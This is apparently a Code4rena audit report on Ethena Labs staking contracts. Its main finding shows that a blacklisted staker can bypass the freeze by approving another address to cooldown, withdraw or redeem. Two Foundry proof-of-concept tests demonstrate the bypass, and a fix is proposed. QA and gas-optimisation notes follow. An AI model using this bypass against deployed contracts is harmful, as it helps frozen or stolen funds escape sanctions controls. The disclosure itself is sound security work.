Ethena Labs - 0xAadi's results

Lines of code

https://github.com/code-423n4/2023-10-ethena/blob/ee67d9b542642c9757a6b826c82d0cae60256509/contracts/StakedUSDe.sol#L225-L238

Vulnerability details

Impact

The FULL_RESTRICTED_STAKER_ROLE is for sanction/stolen funds and it is designed to restrict an address from transferring, staking, or unstaking assets. However, there is a vulnerability in the implementation code that allows a user to unstake tokens if he already has a active stake.

An address possessing the FULL_RESTRICTED_STAKER_ROLE can persist in yield generation if he already have a staked position.

Proof of Concept

The cooldownAssets(), cooldownShares(), withdraw(), and redeem() functions within the StakedUSDeV2 contract enable users or approved entities to initiate the unstaking process by executing _withdraw() in the StakedUSDe contract. This action results in burning the staker's stUSDe and transferring the corresponding USDe tokens to the USDeSilo contract.

The vulnerability lies within the _withdraw() function of the StakedUSDe contract. Currently, it only verifies whether the caller (msg.sender) or the receiver holds the FULL_RESTRICTED_STAKER_ROLE, without checking the _owner address, which corresponds to the staker's address. The absence of this check allows a blacklisted address to burn their stUSDe and transfer the USDe tokens to the USDeSilo contract or restricted users addresses. Subsequently, these assets in the USDeSilo contract can be claimed using the unstake() method in the StakedUSDeV2 contract.

225:  function _withdraw(address caller, address receiver, address _owner, uint256 assets, uint256 shares)
226:    internal
227:    override
228:    nonReentrant
229:    notZero(assets)
230:    notZero(shares)
231:  {
232:    if (hasRole(FULL_RESTRICTED_STAKER_ROLE, caller) || hasRole(FULL_RESTRICTED_STAKER_ROLE, receiver)) {
233:      revert OperationNotAllowed();

https://github.com/code-423n4/2023-10-ethena/blob/ee67d9b542642c9757a6b826c82d0cae60256509/contracts/StakedUSDe.sol#L225-L238

POC

Copy and paste the below test cases in test/foundry/staking/StakedUSDeV2.cooldownEnabled.t.sol file and run the test.

Case 1: If the cool down is enabled

1. Alice stakes 10 ether.
2. Owner black listing Alice to freeze the funds.
3. Alice use Bob's address to start the cool down by giving the approval.
4. Bob initiate the cool down by invoking cooldownAssets() or cooldownShares().
5. Alice unstake the assets, after completing the cool down duration.

function testUnstakingAssetsOfBlacklistedAddress() public {

    bytes32 FULL_RESTRICTED_STAKER_ROLE = keccak256("FULL_RESTRICTED_STAKER_ROLE");    

    // alice staking 10 ether 
    uint256 amount = 10 ether;
    _mintApproveDeposit(alice, amount);
    assertEq(stakedUSDe.balanceOf(alice), amount);

    // owner adding "FULL_RESTRICTED_STAKER_ROLE" to alice, restricting her from staking, unstaking and transfer of assets
    vm.startPrank(owner);
    stakedUSDe.grantRole(FULL_RESTRICTED_STAKER_ROLE, alice);
    vm.stopPrank();

    // alice giving approval to bob to initiate the cooldown for withdrawal of her assets
    vm.startPrank(alice);   
    stakedUSDe.approve(bob, amount);
    vm.stopPrank();

    // bob initiating the cooldown for alice's deposit
    vm.startPrank(bob);
    vm.expectEmit(true, true, true, true);
    emit Withdraw(bob, address(stakedUSDe.silo()), alice, amount, amount);
    stakedUSDe.cooldownAssets(10 ether, alice); 
    vm.stopPrank();

    // Advancing the timestamp by 90 days
    vm.warp(block.timestamp + 90 days);

    // Alice unstaking her staked assets 
    vm.startPrank(alice);
    emit Transfer(address(stakedUSDe.silo()), alice, 10 ether);
    stakedUSDe.unstake(alice);
    vm.stopPrank();
  }

Case 2: If the cool down is disabled

1. Alice stakes 10 ether.
2. Owner black listing Alice to freeze the funds.
3. Alice use Bob's address to withdraw or redeem by giving the approval.
4. Bob withdrawing and redeeming alice's deposit using withdraw() and/or redeem() methods

function testWithdrawOrRedeemAssetsOfBlacklistedAddress() public {

    bytes32 FULL_RESTRICTED_STAKER_ROLE = keccak256("FULL_RESTRICTED_STAKER_ROLE");    

    // alice staking 10 ether 
    uint256 amount = 10 ether;
    _mintApproveDeposit(alice, amount);
    assertEq(stakedUSDe.balanceOf(alice), amount);

    // owner setting cool down duration to 0 and adding "FULL_RESTRICTED_STAKER_ROLE" to alice, restricting her from staking, unstaking and transfer of assets
    vm.startPrank(owner);
    stakedUSDe.setCooldownDuration(0);
    stakedUSDe.grantRole(FULL_RESTRICTED_STAKER_ROLE, alice);
    vm.stopPrank();

    // alice giving approval to bob to withdraw or redeem her assets
    vm.startPrank(alice);   
    stakedUSDe.approve(bob, amount);
    vm.stopPrank();

    // bob withdrawing and redeeming alice's deposit
    vm.startPrank(bob);
    stakedUSDe.withdraw(5 ether, bob, alice);
    stakedUSDe.redeem(5 ether, bob, alice);
    vm.stopPrank();
  }

Tools Used

Manual Review and Foundry

Recommended Mitigation Steps

Include one more check to validate whether the _owner parameter in StakedUSDe#_withdraw() is blacklisted or not.

  function _withdraw(address caller, address receiver, address _owner, uint256 assets, uint256 shares)
    internal
    override
    nonReentrant
    notZero(assets)
    notZero(shares)
   {
-    if (hasRole(FULL_RESTRICTED_STAKER_ROLE, caller) || hasRole(FULL_RESTRICTED_STAKER_ROLE, receiver)) {
+    if (hasRole(FULL_RESTRICTED_STAKER_ROLE, caller) || hasRole(FULL_RESTRICTED_STAKER_ROLE, receiver) || hasRole(FULL_RESTRICTED_STAKER_ROLE, _owner)) {
       revert OperationNotAllowed();
     }

Assessed type

Token-Transfer

QA Report

Summary

Non-critical Issues

Non-critical Issues

[N‑01] Incorrect error message is used when adding a supported asset or custodian address that has already been added.

addSupportedAsset() and addCustodianAddress() in EthenaMinting.sol are designed to whitelist supported assets and custodian addresses. However, there is an issue with the error messages when attempting to add an asset or address that already exists. Both functions currently display invalid address messages in such cases, which is incorrect.

There are 2 instances of this issue:

File: contracts/EthenaMinting.sol

290:  function addSupportedAsset(address asset) public onlyRole(DEFAULT_ADMIN_ROLE) {
291:@>  if (asset == address(0) || asset == address(usde) || !_supportedAssets.add(asset)) {
292:      revert InvalidAssetAddress();

298:  function addCustodianAddress(address custodian) public onlyRole(DEFAULT_ADMIN_ROLE) {
299:@>  if (custodian == address(0) || custodian == address(usde) || !_custodianAddresses.add(custodian)) {
300:      revert InvalidCustodianAddress();

GitHub: 290, 298

Recommendation

Include a distinct error message for cases where the address has already been added.

   function addSupportedAsset(address asset) public onlyRole(DEFAULT_ADMIN_ROLE) {
-    if (asset == address(0) || asset == address(usde) || !_supportedAssets.add(asset)) {
+    if (asset == address(0) || asset == address(usde)) {
       revert InvalidAssetAddress();
     }
+    if(!_supportedAssets.add(asset)) {
+      revert AddressAlreadyAdded();
+    }
     emit AssetAdded(asset);
   }
 
   /// @notice Adds an custodian to the supported custodians list.
   function addCustodianAddress(address custodian) public onlyRole(DEFAULT_ADMIN_ROLE) {
-    if (custodian == address(0) || custodian == address(usde) || !_custodianAddresses.add(custodian)) {
+    if (custodian == address(0) || custodian == address(usde)) {
       revert InvalidCustodianAddress();
     }
+    if(!_custodianAddresses.add(custodian)) {
+      revert AddressAlreadyAdded();
+    }
     emit CustodianAddressAdded(custodian);
   }

[N‑02] The function description of addToBlacklist() and removeFromBlacklist() are incorrect, or the intended code has not been implemented.

The description of addToBlacklist() and removeFromBlacklist() says that these operation can be done by owner (DEFAULT_ADMIN_ROLE) or blacklist managers, but the implemented code only allow blacklist managers to do these operations. So the intended code is not implemented or these functions using wrong description.

There are 2 instances of this issue:

File: contracts/StakedUSDe.sol

102:@> * @notice Allows the owner (DEFAULT_ADMIN_ROLE) and blacklist managers to blacklist addresses.
103:   * @param target The address to blacklist.
104:   * @param isFullBlacklisting Soft or full blacklisting level.
105:   */
106:  function addToBlacklist(address target, bool isFullBlacklisting)
107:    external
108:    onlyRole(BLACKLIST_MANAGER_ROLE)
109:    notOwner(target)
110:  {

116:@> * @notice Allows the owner (DEFAULT_ADMIN_ROLE) and blacklist managers to un-blacklist addresses.
117:   * @param target The address to un-blacklist.
118:   * @param isFullBlacklisting Soft or full blacklisting level.
119:   */
120:  function removeFromBlacklist(address target, bool isFullBlacklisting)
121:    external
122:    onlyRole(BLACKLIST_MANAGER_ROLE)
123:    notOwner(target)
124:  {

GitHub: 102,116

[N‑03] The likelihood of adding address(usde) as a custodian address is very low.

The probability of adding address(usde) as a custodian address is quite low, and it is on par with any other ERC addresses. Therefore, there is no need to specifically check for address(usde) in the EthenaMinting#addCustodianAddress() function.

There are 1 instances of this issue:

File: contracts/EthenaMinting.sol

298:  function addCustodianAddress(address custodian) public onlyRole(DEFAULT_ADMIN_ROLE) {
299: @> if (custodian == address(0) || custodian == address(usde) || !_custodianAddresses.add(custodian)) {
300:      revert InvalidCustodianAddress();

GitHub: 298

[N‑04] Wrong description of vestingAmount in StakedUSDe contract.

vestingAmount gets updated upon the completion of the previous vesting duration. This ensures that, at that moment, there is no remaining unvested amount.

There are 1 instances of this issue:

File: contracts/StakedUSDe.sol

40:  /// @notice The amount of the last asset distribution from the controller contract into this
41:@>/// contract + any unvested remainder at that time @audit > there will not be any unvested remainder at that time 
42:  uint256 public vestingAmount;

GitHub: 40

[N‑05] Code duplication can be reduced by creating a separate function for repeated code blocks.

Code duplication can often be reduced by creating a separate function for repeated code blocks. This can also make the code more readable and easier to maintain.

There are 2 instances of this issue:

File: contracts/StakedUSDeV2.sol

100:    cooldowns[owner].cooldownEnd = uint104(block.timestamp) + cooldownDuration;
101:    cooldowns[owner].underlyingAmount += assets;
102:
103:    _withdraw(_msgSender(), address(silo), owner, assets, shares);

116:    cooldowns[owner].cooldownEnd = uint104(block.timestamp) + cooldownDuration;
117:    cooldowns[owner].underlyingAmount += assets;
118:
119:    _withdraw(_msgSender(), address(silo), owner, assets, shares);

GitHub: 100, 116

Recommendation

Create a separate function for the cooldown.

 function cooldownAssets(uint256 assets, address owner) external ensureCooldownOn returns (uint256) {
    if (assets > maxWithdraw(owner)) revert ExcessiveWithdrawAmount();
     uint256 shares = previewWithdraw(assets);
 
-    cooldowns[owner].cooldownEnd = uint104(block.timestamp) + cooldownDuration;
-    cooldowns[owner].underlyingAmount += assets;
-
-    _withdraw(_msgSender(), address(silo), owner, assets, shares);
+    _cooldown(assets, shares, owner);
 
     return shares;
   }

 function cooldownShares(uint256 shares, address owner) external ensureCooldownOn returns (uint256) {
    if (shares > maxRedeem(owner)) revert ExcessiveRedeemAmount();
 
     uint256 assets = previewRedeem(shares);
-    cooldowns[owner].cooldownEnd = uint104(block.timestamp) + cooldownDuration;
-    cooldowns[owner].underlyingAmount += assets;
-
-    _withdraw(_msgSender(), address(silo), owner, assets, shares);
+    _cooldown(assets, shares, owner);

     return assets;
   }

+  function _cooldown(uint256 assets, uint256 shares, address owner) internal {
+    cooldowns[owner].cooldownEnd = uint104(block.timestamp) + cooldownDuration;
+    cooldowns[owner].underlyingAmount += assets;
+
+    _withdraw(_msgSender(), address(silo), owner, assets, shares);
+  }

[N‑06] newVestingAmount always equal to amount in StakedUSDe#transferInRewards()

The transferInRewards function is used to transfer rewards from the controller contract into the StakedUSDe contract. The getUnvestedAmount() function will always return zero in the code due to the preceding check (if (getUnvestedAmount() > 0) revert StillVesting();). Therefore, adding getUnvestedAmount() to the amount in the line uint256 newVestingAmount = amount + getUnvestedAmount(); is unnecessary.

There are 1 instances:

File : contracts/StakedUSDe.sol

  function transferInRewards(uint256 amount) external nonReentrant onlyRole(REWARDER_ROLE) notZero(amount) {
    if (getUnvestedAmount() > 0) revert StillVesting();
@>  uint256 newVestingAmount = amount + getUnvestedAmount();

@>  vestingAmount = newVestingAmount;
    lastDistributionTimestamp = block.timestamp;
    // transfer assets from rewarder to this contract
    IERC20(asset()).safeTransferFrom(msg.sender, address(this), amount);

    emit RewardsReceived(amount, newVestingAmount);
  }

GitHub: 89

Recommendation

   function transferInRewards(uint256 amount) external nonReentrant onlyRole(REWARDER_ROLE) notZero(amount) {
     if (getUnvestedAmount() > 0) revert StillVesting();
-    uint256 newVestingAmount = amount + getUnvestedAmount();
 
-    vestingAmount = newVestingAmount;
+    vestingAmount = amount;
     lastDistributionTimestamp = block.timestamp;
     // transfer assets from rewarder to this contract
     IERC20(asset()).safeTransferFrom(msg.sender, address(this), amount);
 
-    emit RewardsReceived(amount, newVestingAmount);
+    emit RewardsReceived(amount, vestingAmount);
   }

GAS Report

Summary

Gas Optimizations

[G‑03] The notOwner modifier in the removeFromBlacklist() function is redundant.

Since the addToBlacklist function already prevents the owner from being added to the blacklist, there's no scenario where the owner would need to be removed from the blacklist.

There are 1 instances:

• StakedUSDe.sol ( #L120):

120:  function removeFromBlacklist(address target, bool isFullBlacklisting)
121:    external
122:    onlyRole(BLACKLIST_MANAGER_ROLE)
123: @> notOwner(target)

   function removeFromBlacklist(address target, bool isFullBlacklisting)
     external
     onlyRole(BLACKLIST_MANAGER_ROLE)
-    notOwner(target)
   {
     bytes32 role = isFullBlacklisting ? FULL_RESTRICTED_STAKER_ROLE : SOFT_RESTRICTED_STAKER_ROLE;
     _revokeRole(role, target);

Gas Savings for StakedUSDe.removeFromBlacklist, obtained via protocol’s tests: Avg 129 gas and deployment cost 26432 gas

Before change

| contracts/StakedUSDe.sol:StakedUSDe contract |                 |       |        |       |         |
|----------------------------------------------|-----------------|-------|--------|-------|---------|
| Deployment Cost                              | Deployment Size |       |        |       |         |
| 3215153                                      | 17592           |       |        |       |         |
| Function Name                                | min             | avg   | median | max   | # calls |
| removeFromBlacklist                          | 2843            | 2847  | 2847   | 2851  | 2       |

After change

| contracts/StakedUSDe.sol:StakedUSDe contract |                 |       |        |       |         |
|----------------------------------------------|-----------------|-------|--------|-------|---------|
| Deployment Cost                              | Deployment Size |       |        |       |         |
| 3188721                                      | 17460           |       |        |       |         |
| Function Name                                | min             | avg   | median | max   | # calls |
| removeFromBlacklist                          | 2714            | 2718  | 2718   | 2722  | 2       |

[G‑04] Adding getUnvestedAmount() to the amount in StakedUSDe#transferInRewards() is not required

The transferInRewards function is used to transfer rewards from the controller contract into the StakedUSDe contract. The getUnvestedAmount() function will always return zero in the code due to the preceding check (if (getUnvestedAmount() > 0) revert StillVesting();). Therefore, adding getUnvestedAmount() to the amount in the line uint256 newVestingAmount = amount + getUnvestedAmount(); is unnecessary.

There are 1 instances:

• StakedUSDe.sol ( #L89):

  function transferInRewards(uint256 amount) external nonReentrant onlyRole(REWARDER_ROLE) notZero(amount) {
    if (getUnvestedAmount() > 0) revert StillVesting();
@>  uint256 newVestingAmount = amount + getUnvestedAmount();

@>  vestingAmount = newVestingAmount;
    lastDistributionTimestamp = block.timestamp;
    // transfer assets from rewarder to this contract
    IERC20(asset()).safeTransferFrom(msg.sender, address(this), amount);

    emit RewardsReceived(amount, newVestingAmount);
  }

   function transferInRewards(uint256 amount) external nonReentrant onlyRole(REWARDER_ROLE) notZero(amount) {
     if (getUnvestedAmount() > 0) revert StillVesting();
-    uint256 newVestingAmount = amount + getUnvestedAmount();
 
-    vestingAmount = newVestingAmount;
+    vestingAmount = amount;
     lastDistributionTimestamp = block.timestamp;
     // transfer assets from rewarder to this contract
     IERC20(asset()).safeTransferFrom(msg.sender, address(this), amount);
 
-    emit RewardsReceived(amount, newVestingAmount);
+    emit RewardsReceived(amount, vestingAmount);
   }

Gas Savings for StakedUSDe.transferInRewards, obtained via protocol’s tests: Avg 321 gas and deployment cost 4208 gas

Before change

| contracts/StakedUSDe.sol:StakedUSDe contract |                 |       |        |       |         |
|----------------------------------------------|-----------------|-------|--------|-------|---------|
| Deployment Cost                              | Deployment Size |       |        |       |         |
| 3188721                                      | 17460           |       |        |       |         |
| Function Name                                | min             | avg   | median | max   | # calls |
| transferInRewards                            | 4359            | 42190 | 44596  | 66916 | 14      |

After change

| contracts/StakedUSDe.sol:StakedUSDe contract |                 |       |        |       |         |
|----------------------------------------------|-----------------|-------|--------|-------|---------|
| Deployment Cost                              | Deployment Size |       |        |       |         |
| 3184513                                      | 17439           |       |        |       |         |
| Function Name                                | min             | avg   | median | max   | # calls |
| transferInRewards                            | 4359            | 41869 | 44141  | 66461 | 14      |

[G‑05] Using private constant for MAX_COOLDOWN_DURATION saves deployment gas in StakedUSDeV2.sol

There are 1 instances:

• StakedUSDe.sol ( #L22):

22:  uint24 public MAX_COOLDOWN_DURATION = 90 days;

-  uint24 public MAX_COOLDOWN_DURATION = 90 days;
+  uint24 private constant MAX_COOLDOWN_DURATION = 90 days;

Gas Savings for StakedUSDe.transferInRewards, obtained via protocol’s tests: Deployment cost 20525 gas

Before change

| contracts/StakedUSDeV2.sol:StakedUSDeV2 contract |                 |       |        |       |         |
|--------------------------------------------------|-----------------|-------|--------|-------|---------|
| Deployment Cost                                  | Deployment Size |       |        |       |         |
| 3743352                                          | 20352           |       |        |       |         |


After change

| contracts/StakedUSDeV2.sol:StakedUSDeV2 contract |                 |       |        |       |         |
|--------------------------------------------------|-----------------|-------|--------|-------|---------|
| Deployment Cost                                  | Deployment Size |       |        |       |         |
| 3722827                                          | 20197           |       |        |       |         |